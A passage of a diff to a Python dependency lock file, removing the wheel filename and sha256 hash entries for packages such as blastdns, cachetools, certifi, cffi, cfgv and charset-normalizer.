"blastdns-1.9.1-cp314-cp314-manylinux_2_28_s390x.whl", hash = "sha256:c110f4de3839e204dc0ec97da33d01cdc78c9ffde991f583b735bf9df4c90b8d"}, - {file = "blastdns-1.9.1-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:743b1501d9a625f6d0dd8ed668fd96241646bd6f70399992af43f8fef5fc42d9"}, - {file = "blastdns-1.9.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:4c4b0b8ca367405807b14d63f57805ca2af21c651afd07feae5db32fbaaa63f7"}, - {file = "blastdns-1.9.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:8f4141a04a887e45f77e92fe5ae290c017275985b96455c2aa05084220b12423"}, - {file = "blastdns-1.9.1-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:c0247ea74dcb9cb22fc319ab15518a6b2cd8e147b560e6908acaa97f4eb9912b"}, - {file = "blastdns-1.9.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:9131f9c496a6e67b46b5184fc49dc691340c1267982808460d3fdc9fbf00fc0d"}, - {file = "blastdns-1.9.1-cp314-cp314-win32.whl", hash = "sha256:f13198d57ac8606a542f273ffbeec0cf4d1b97ec5c367d217fdb7b25715888a6"}, - {file = "blastdns-1.9.1-cp314-cp314-win_amd64.whl", hash = "sha256:b1301428a30b6ad1137f47470f882da604329d6a566708045106e06c3cc5b13b"}, - {file = "blastdns-1.9.1-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:e5d4e64d0cdfef7e31d1e4c9124cc901d801fd1925c0add743dd4b5dac5ab48d"}, - {file = "blastdns-1.9.1-cp314-cp314t-manylinux_2_28_armv7l.whl", hash = "sha256:9078d39a13c467185dbe205b3121ef6667b452612e64a9a83670d38a4ff8f280"}, - {file = "blastdns-1.9.1-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:712ff165713d9624a0811d94e2a555af15339f11df7fae9535aebd0de3577730"}, - {file = "blastdns-1.9.1-cp314-cp314t-manylinux_2_28_s390x.whl", hash = "sha256:c31fb423922e491d87435d497a3ad571fdd1200b9d9a51322fbee2aff0275d15"}, - {file = "blastdns-1.9.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:269e2f84e83c5a4c48e05c8222670289935ef9504184f6742e8049ded205d67f"}, - {file = "blastdns-1.9.1-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:b2c751284fe68dcf70e3f9de11c6c7cbe228473c152563ad0a781fc4a95ed484"}, - {file = "blastdns-1.9.1-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:c3925dfff6f2fb7dcaa514ee3730a55d0824dce0023038cabf69f9e341d5a632"}, - {file = "blastdns-1.9.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:e163cd43d5206e224e8e5ef5b18af634e97d5e90f535f0906af783e13b7fcec5"}, - {file = "blastdns-1.9.1-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:806df0a4eb6071e52e7a4e192e37bb5e9ebb2f3756a0c580bf35b05d74fc2ca3"}, - {file = "blastdns-1.9.1-cp39-cp39-manylinux_2_28_armv7l.whl", hash = "sha256:cf5ef4db4ae6a3bd0134268aa16e67c9d5459e7e5f98f0c7099e11725b419adf"}, - {file = "blastdns-1.9.1-cp39-cp39-manylinux_2_28_i686.whl", hash = "sha256:bdc51bfbab1b281ebdcc73577b15c29acfc1f7f9330808fba19412cec6c5a334"}, - {file = "blastdns-1.9.1-cp39-cp39-manylinux_2_28_ppc64le.whl", hash = "sha256:d7cf3069c301414d551e5dff6bdd3e1f658cb2b40daec048308937b1568e4847"}, - {file = "blastdns-1.9.1-cp39-cp39-manylinux_2_28_s390x.whl", hash = "sha256:971fd55139390b62fe77df6800d2c371ad9ac88f9a09d59ab5f49ec3fd6d7136"}, - {file = "blastdns-1.9.1-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:51dc1a13de174cac97371866533660945fb7520f0918a4dd581c820808f91d5a"}, - {file = "blastdns-1.9.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:c72334f396dcbcda8dcbb5fd499c80b25bdaeffd406010ab66c77974734fb280"}, - {file = "blastdns-1.9.1-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:2fe5713ba7fd5e5a37ead8ce9007c37df9cd1d133a7085dda27a7d4c2e1bd954"}, - {file = "blastdns-1.9.1-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:666e33b09ff16c0c0cd47bee37621977341414588330b5c9ee40168ffd8e4480"}, - {file = "blastdns-1.9.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:8c604a43c9e938e6d1a1e865413d67b418109e5bedf82120173d5ac3353d1b92"}, - {file = "blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:03f5dd6a4dfa45d5972a3be01f704264b43bb6d02b86b7eba132070c9f18f286"}, - {file = "blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_armv7l.whl", hash = "sha256:1e2621a878baa1be84b910fb2b7d492184f484988f5d572746b2e555c89926d7"}, - {file = "blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_i686.whl", hash = "sha256:356fde1c078710dd93d627282c18945390d74cca7cad7c334a50624ebb7c9f9d"}, - {file = "blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_ppc64le.whl", hash = "sha256:7d189845c2982e354127426923fdda4342cf083ce5b75b4f8276ca7d9bfc196a"}, - {file = "blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_s390x.whl", hash = "sha256:1b41c108de569a822697dab53e15e2bc30fb59d3546c172903f9e66c19826282"}, - {file = "blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:fbab1fe79723547ee03c861368769e38605e87cfb8be2858f60ad497aaca2520"}, - {file = "blastdns-1.9.1-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:378e95b2723eabf23ffb04ed0bd326aa5661d4ae3396a8326ad2ffcc324d4bff"}, - {file = "blastdns-1.9.1-pp311-pypy311_pp73-musllinux_1_2_armv7l.whl", hash = "sha256:e4facab544265314dbf212ee015138ec823529e006b306e030ad5a4c2d4a6ec3"}, - {file = "blastdns-1.9.1-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:62269fee131b31f401dabe16f427dedf4ac6c0c5d7a302a52a7d685456772385"}, - {file = "blastdns-1.9.1-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:64581573a438d95f51e297aa6790a85f49ed00fcb2afdf5a459b911dce970619"}, - {file = "blastdns-1.9.1.tar.gz", hash = "sha256:e0ea09a9f0199a64aad8a6abe54e0f0de523a12e6f96da71e79af7fea9d12f2f"}, -] - -[package.dependencies] -orjson = ">=3.11.4" -pydantic = ">=2.12.4" - -[[package]] -name = "cachetools" -version = "7.0.6" -description = "Extensible memoizing collections and decorators" -optional = false -python-versions = ">=3.10" -groups = ["main"] -files = [ - {file = "cachetools-7.0.6-py3-none-any.whl", hash = "sha256:4e94956cfdd3086f12042cdd29318f5ced3893014f7d0d059bf3ead3f85b7f8b"}, - {file = "cachetools-7.0.6.tar.gz", hash = "sha256:e5d524d36d65703a87243a26ff08ad84f73352adbeafb1cde81e207b456aaf24"}, -] - -[[package]] -name = "certifi" -version = "2026.4.22" -description = "Python package for providing Mozilla's CA Bundle." -optional = false -python-versions = ">=3.7" -groups = ["main", "dev", "docs"] -files = [ - {file = "certifi-2026.4.22-py3-none-any.whl", hash = "sha256:3cb2210c8f88ba2318d29b0388d1023c8492ff72ecdde4ebdaddbb13a31b1c4a"}, - {file = "certifi-2026.4.22.tar.gz", hash = "sha256:8d455352a37b71bf76a79caa83a3d6c25afee4a385d632127b6afb3963f1c580"}, -] - -[[package]] -name = "cffi" -version = "2.0.0" -description = "Foreign Function Interface for Python calling C code." -optional = false -python-versions = ">=3.9" -groups = ["main"] -markers = "platform_python_implementation != \"PyPy\" or implementation_name == \"pypy\"" -files = [ - {file = "cffi-2.0.0-cp310-cp310-macosx_10_13_x86_64.whl", hash = "sha256:0cf2d91ecc3fcc0625c2c530fe004f82c110405f101548512cce44322fa8ac44"}, - {file = "cffi-2.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f73b96c41e3b2adedc34a7356e64c8eb96e03a3782b535e043a986276ce12a49"}, - {file = "cffi-2.0.0-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:53f77cbe57044e88bbd5ed26ac1d0514d2acf0591dd6bb02a3ae37f76811b80c"}, - {file = "cffi-2.0.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3e837e369566884707ddaf85fc1744b47575005c0a229de3327f8f9a20f4efeb"}, - {file = "cffi-2.0.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5eda85d6d1879e692d546a078b44251cdd08dd1cfb98dfb77b670c97cee49ea0"}, - {file = "cffi-2.0.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9332088d75dc3241c702d852d4671613136d90fa6881da7d770a483fd05248b4"}, - {file = "cffi-2.0.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fc7de24befaeae77ba923797c7c87834c73648a05a4bde34b3b7e5588973a453"}, - {file = "cffi-2.0.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cf364028c016c03078a23b503f02058f1814320a56ad535686f90565636a9495"}, - {file = "cffi-2.0.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e11e82b744887154b182fd3e7e8512418446501191994dbf9c9fc1f32cc8efd5"}, - {file = "cffi-2.0.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8ea985900c5c95ce9db1745f7933eeef5d314f0565b27625d9a10ec9881e1bfb"}, - {file = "cffi-2.0.0-cp310-cp310-win32.whl", hash = "sha256:1f72fb8906754ac8a2cc3f9f5aaa298070652a0ffae577e0ea9bd480dc3c931a"}, - {file = "cffi-2.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:b18a3ed7d5b3bd8d9ef7a8cb226502c6bf8308df1525e1cc676c3680e7176739"}, - {file = "cffi-2.0.0-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:b4c854ef3adc177950a8dfc81a86f5115d2abd545751a304c5bcf2c2c7283cfe"}, - {file = "cffi-2.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2de9a304e27f7596cd03d16f1b7c72219bd944e99cc52b84d0145aefb07cbd3c"}, - {file = "cffi-2.0.0-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:baf5215e0ab74c16e2dd324e8ec067ef59e41125d3eade2b863d294fd5035c92"}, - {file = "cffi-2.0.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:730cacb21e1bdff3ce90babf007d0a0917cc3e6492f336c2f0134101e0944f93"}, - {file = "cffi-2.0.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:6824f87845e3396029f3820c206e459ccc91760e8fa24422f8b0c3d1731cbec5"}, - {file = "cffi-2.0.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9de40a7b0323d889cf8d23d1ef214f565ab154443c42737dfe52ff82cf857664"}, - {file = "cffi-2.0.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8941aaadaf67246224cee8c3803777eed332a19d909b47e29c9842ef1e79ac26"}, - {file = "cffi-2.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:a05d0c237b3349096d3981b727493e22147f934b20f6f125a3eba8f994bec4a9"}, - {file = "cffi-2.0.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:94698a9c5f91f9d138526b48fe26a199609544591f859c870d477351dc7b2414"}, - {file = "cffi-2.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:5fed36fccc0612a53f1d4d9a816b50a36702c28a2aa880cb8a122b3466638743"}, - {file = "cffi-2.0.0-cp311-cp311-win32.whl", hash = "sha256:c649e3a33450ec82378822b3dad03cc228b8f5963c0c12fc3b1e0ab940f768a5"}, - {file = "cffi-2.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:66f011380d0e49ed280c789fbd08ff0d40968ee7b665575489afa95c98196ab5"}, - {file = "cffi-2.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:c6638687455baf640e37344fe26d37c404db8b80d037c3d29f58fe8d1c3b194d"}, - {file = "cffi-2.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:6d02d6655b0e54f54c4ef0b94eb6be0607b70853c45ce98bd278dc7de718be5d"}, - {file = "cffi-2.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8eca2a813c1cb7ad4fb74d368c2ffbbb4789d377ee5bb8df98373c2cc0dee76c"}, - {file = "cffi-2.0.0-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:21d1152871b019407d8ac3985f6775c079416c282e431a4da6afe7aefd2bccbe"}, - {file = "cffi-2.0.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b21e08af67b8a103c71a250401c78d5e0893beff75e28c53c98f4de42f774062"}, - {file = "cffi-2.0.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:1e3a615586f05fc4065a8b22b8152f0c1b00cdbc60596d187c2a74f9e3036e4e"}, - {file = "cffi-2.0.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:81afed14892743bbe14dacb9e36d9e0e504cd204e0b165062c488942b9718037"}, - {file = "cffi-2.0.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3e17ed538242334bf70832644a32a7aae3d83b57567f9fd60a26257e992b79ba"}, - {file = "cffi-2.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e4b3a94"}, - {file = "cffi-2.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187"}, - {file = "cffi-2.0.0-cp312-cp312-win32.whl", hash = "sha256:da902562c3e9c550df360bfa53c035b2f241fed6d9aef119048073680ace4a18"}, - {file = "cffi-2.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:da68248800ad6320861f129cd9c1bf96ca849a2771a59e0344e88681905916f5"}, - {file = "cffi-2.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:4671d9dd5ec934cb9a73e7ee9676f9362aba54f7f34910956b84d727b0d73fb6"}, - {file = "cffi-2.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f03beb"}, - {file = "cffi-2.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:45d5e886156860dc35862657e1494b9bae8dfa63bf56796f2fb56e1679fc0bca"}, - {file = "cffi-2.0.0-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:07b271772c100085dd28b74fa0cd81c8fb1a3ba18b21e03d7c27f3436a10606b"}, - {file = "cffi-2.0.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d48a880098c96020b02d5a1f7d9251308510ce8858940e6fa99ece33f610838b"}, - {file = "cffi-2.0.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:f93fd8e5c8c0a4aa1f424d6173f14a892044054871c771f8566e4008eaa359d2"}, - {file = "cffi-2.0.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:dd4f05f54a52fb558f1ba9f528228066954fee3ebe629fc1660d874d040ae5a3"}, - {file = "cffi-2.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c8d3b5532fc71b7a77c09192b4a5a200ea992702734a2e9279a37f2478236f26"}, - {file = "cffi-2.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d9b29c1f0ae438d5ee9acb31cadee00a58c46cc9c0b2f9038c6b0b3470877a8c"}, - {file = "cffi-2.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a314145807a1b"}, - {file = "cffi-2.0.0-cp313-cp313-win32.whl", hash = "sha256:74a03b9698e198d47562765773b4a8309919089150a0bb17d829ad7b44b60d27"}, - {file = "cffi-2.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75"}, - {file = "cffi-2.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91"}, - {file = "cffi-2.0.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:fc33c5141b55ed366cfaad382df24fe7dcbc686de5be719b207bb248e3053dc5"}, - {file = "cffi-2.0.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c654de545946e0db659b3400168c9ad31b5d29593291482c43e3564effbcee13"}, - {file = "cffi-2.0.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b"}, - {file = "cffi-2.0.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c"}, - {file = "cffi-2.0.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:d9b97165e8aed9272a6bb17c01e3cc5871a594a446ebedc996e2397a1c1ea8ef"}, - {file = "cffi-2.0.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3add93e114dcae767f1477cb53775"}, - {file = "cffi-2.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a85e205"}, - {file = "cffi-2.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1"}, - {file = "cffi-2.0.0-cp314-cp314-win32.whl", hash = "sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f"}, - {file = "cffi-2.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25"}, - {file = "cffi-2.0.0-cp314-cp314-win_arm64.whl", hash = "sha256:dbd5c7a25a7cb98f5ca55d258b103a2054f859a46ae11aaf23134f9cc0d356ad"}, - {file = "cffi-2.0.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270c4dd9"}, - {file = "cffi-2.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb8743d"}, - {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7cc09976e8b56f8cebd752f7113ad07752461f48a58cbba644139015ac24954c"}, - {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:92b68146a71df78564e4ef48af17551a5ddd142e5190cdf2c5624d0c3ff5b2e8"}, - {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:b1e74d11748e7e98e2f426ab176d4ed720a64412b6a15054378afdb71e0f37dc"}, - {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592"}, - {file = "cffi-2.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf94951165613553984512"}, - {file = "cffi-2.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4"}, - {file = "cffi-2.0.0-cp314-cp314t-win32.whl", hash = "sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e"}, - {file = "cffi-2.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:d68b6cef7827e8641e8ef16f4494edda8b36104d79773a334beaa1e3521430f6"}, - {file = "cffi-2.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9"}, - {file = "cffi-2.0.0-cp39-cp39-macosx_10_13_x86_64.whl", hash = "sha256:fe562eb1a64e67dd297ccc4f5addea2501664954f2692b69a76449ec7913ecbf"}, - {file = "cffi-2.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:de8dad4425a6ca6e4e5e297b27b5c824ecc7581910bf9aee86cb6835e6812aa7"}, - {file = "cffi-2.0.0-cp39-cp39-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:4647afc2f90d1ddd33441e5b0e85b16b12ddec4fca55f0d9671fef036ecca27c"}, - {file = "cffi-2.0.0-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3f4d46d8b35698056ec29bca21546e1551a205058ae1a181d871e278b0b28165"}, - {file = "cffi-2.0.0-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:e6e73b9e02893c764e7e8d5bb5ce277f1a009cd5243f8228f75f842bf937c534"}, - {file = "cffi-2.0.0-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:cb527a79772e5ef98fb1d700678fe031e353e765d1ca2d409c92263c6d43e09f"}, - {file = "cffi-2.0.0-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:61d028e90346df14fedc3d1e5441df818d095f3b87d286825dfcbd6459b7ef63"}, - {file = "cffi-2.0.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:0f6084a0ea23d05d20c3edcda20c3d006f9b6f3fefeac38f59262e10cef47ee2"}, - {file = "cffi-2.0.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:1cd13c99ce269b3ed80b417dcd591415d3372bcac067009b6e0f59c7d4015e65"}, - {file = "cffi-2.0.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:89472c9762729b5ae1ad974b777416bfda4ac5642423fa93bd57a09204712322"}, - {file = "cffi-2.0.0-cp39-cp39-win32.whl", hash = "sha256:2081580ebb843f759b9f617314a24ed5738c51d2aee65d31e02f6f7a2b97707a"}, - {file = "cffi-2.0.0-cp39-cp39-win_amd64.whl", hash = "sha256:b882b3df248017dba09d6b16defe9b5c407fe32fc7c65a9c69798e6175601be9"}, - {file = "cffi-2.0.0.tar.gz", hash = "sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529"}, -] - -[package.dependencies] -pycparser = {version = "*", markers = "implementation_name != \"PyPy\""} - -[[package]] -name = "cfgv" -version = "3.5.0" -description = "Validate configuration and produce human readable error messages." -optional = false -python-versions = ">=3.10" -groups = ["dev"] -files = [ - {file = "cfgv-3.5.0-py2.py3-none-any.whl", hash = "sha256:a8dc6b26ad22ff227d2634a65cb388215ce6cc96bbcc5cfde7641ae87e8dacc0"}, - {file = "cfgv-3.5.0.tar.gz", hash = "sha256:d5b1034354820651caa73ede66a6294d6e95c1b00acc5e9b098e917404669132"}, -] - -[[package]] -name = "charset-normalizer" -version = "3.4.7" -description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." -optional = false -python-versions = ">=3.7" -groups = ["main", "dev", "docs"] -files = [ - {file = "charset_normalizer-3.4.7-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:cdd68a1fb318e290a2077696b7eb7a21a49163c455979c639bf5a5dcdc46617d"}, - {file = "charset_normalizer-3.4.7-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e17b8d5d6a8c47c85e68ca8379def1303fd360c3e22093a807cd34a71cd082b8"}, - {file = "charset_normalizer-3.4.7-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:511ef87c8aec0783e08ac18565a16d435372bc1ac25a91e6ac7f5ef2b0bff790"}, - {file = "charset_normalizer-3.4.7-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:007d05ec7321d12a40227aae9e2bc6dca73f3cb21058999a1df9e193555a9dcc"}, - {file = "charset_normalizer-3.4.7-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:cf29836da5119f3c8a8a70667b0ef5fdca3bb12f80fd06487cfa575b3909b393"}, - {file = "charset_normalizer-3.4.7-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:12d8baf840cc7889b37c7c770f478adea7adce3dcb3944d02ec87508e2dcf153"}, - {file = "charset_normalizer-3.4.7-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d560742f3c0d62afaccf9f41fe485ed69bd7661a241f86a3ef0f0fb8b1a397af"}, - {file = "charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:b14b2d9dac08e28bb8046a1a0434b1750eb221c8f5b87a68f4fa11a6f97b5e34"}, - {file = "charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:bc17a677b21b3502a21f66a8cc64f5bfad4df8a0b8434d661666f8ce90ac3af1"}, - {file = "charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:750e02e074872a3fad7f233b47734166440af3cdea0add3e95163110816d6752"}, - {file = "charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:4e5163c14bffd570ef2affbfdd77bba66383890797df43dc8b4cc7d6f500bf53"}, - {file = "charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:6ed74185b2db44f41ef35fd1617c5888e59792da9bbc9190d6c7300617182616"}, - {file = "charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:94e1885b270625a9a828c9793b4d52a64445299baa1fea5a173bf1d3dd9a1a5a"}, - {file = "charset_normalizer-3.4.7-cp310-cp310-win32.whl", hash = "sha256:6785f414ae0f3c733c437e0f3929197934f526d19dfaa75e18fdb4f94c6fb374"}, - {file = "charset_normalizer-3.4.7-cp310-cp310-win_amd64.whl", hash = "sha256:6696b7688f54f5af4462118f0bfa7c1621eeb87154f77fa04b9295ce7a8f2943"}, - {file = "charset_normalizer-3.4.7-cp310-cp310-win_arm64.whl", hash = "sha256:66671f93accb62ed07da56613636f3641f1a12c13046ce91ffc923721f23c008"}, - {file = "charset_normalizer-3.4.7-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:7641bb8895e77f921102f72833904dcd9901df5d6d72a2ab8f31d04b7e51e4e7"}, - {file = "charset_normalizer-3.4.7-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:202389074300232baeb53ae2569a60901f7efadd4245cf3a3bf0617d60b439d7"}, - {file = "charset_normalizer-3.4.7-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:30b8d1d8c52a48c2c5690e152c169b673487a2a58de1ec7393196753063fcd5e"}, - {file = "charset_normalizer-3.4.7-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:532bc9bf33a68613fd7d65e4b1c71a6a38d7d42604ecf239c77392e9b4e8998c"}, - {file = "charset_normalizer-3.4.7-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2fe249cb4651fd12605b7288b24751d8bfd46d35f12a20b1ba33dea122e690df"}, - {file = "charset_normalizer-3.4.7-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:65bcd23054beab4d166035cabbc868a09c1a49d1efe458fe8e4361215df40265"}, - {file = "charset_normalizer-3.4.7-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:08e721811161356f97b4059a9ba7bafb23ea5ee2255402c42881c214e173c6b4"}, - {file = "charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:e060d01aec0a910bdccb8be71faf34e7799ce36950f8294c8bf612cba65a2c9e"}, - {file = 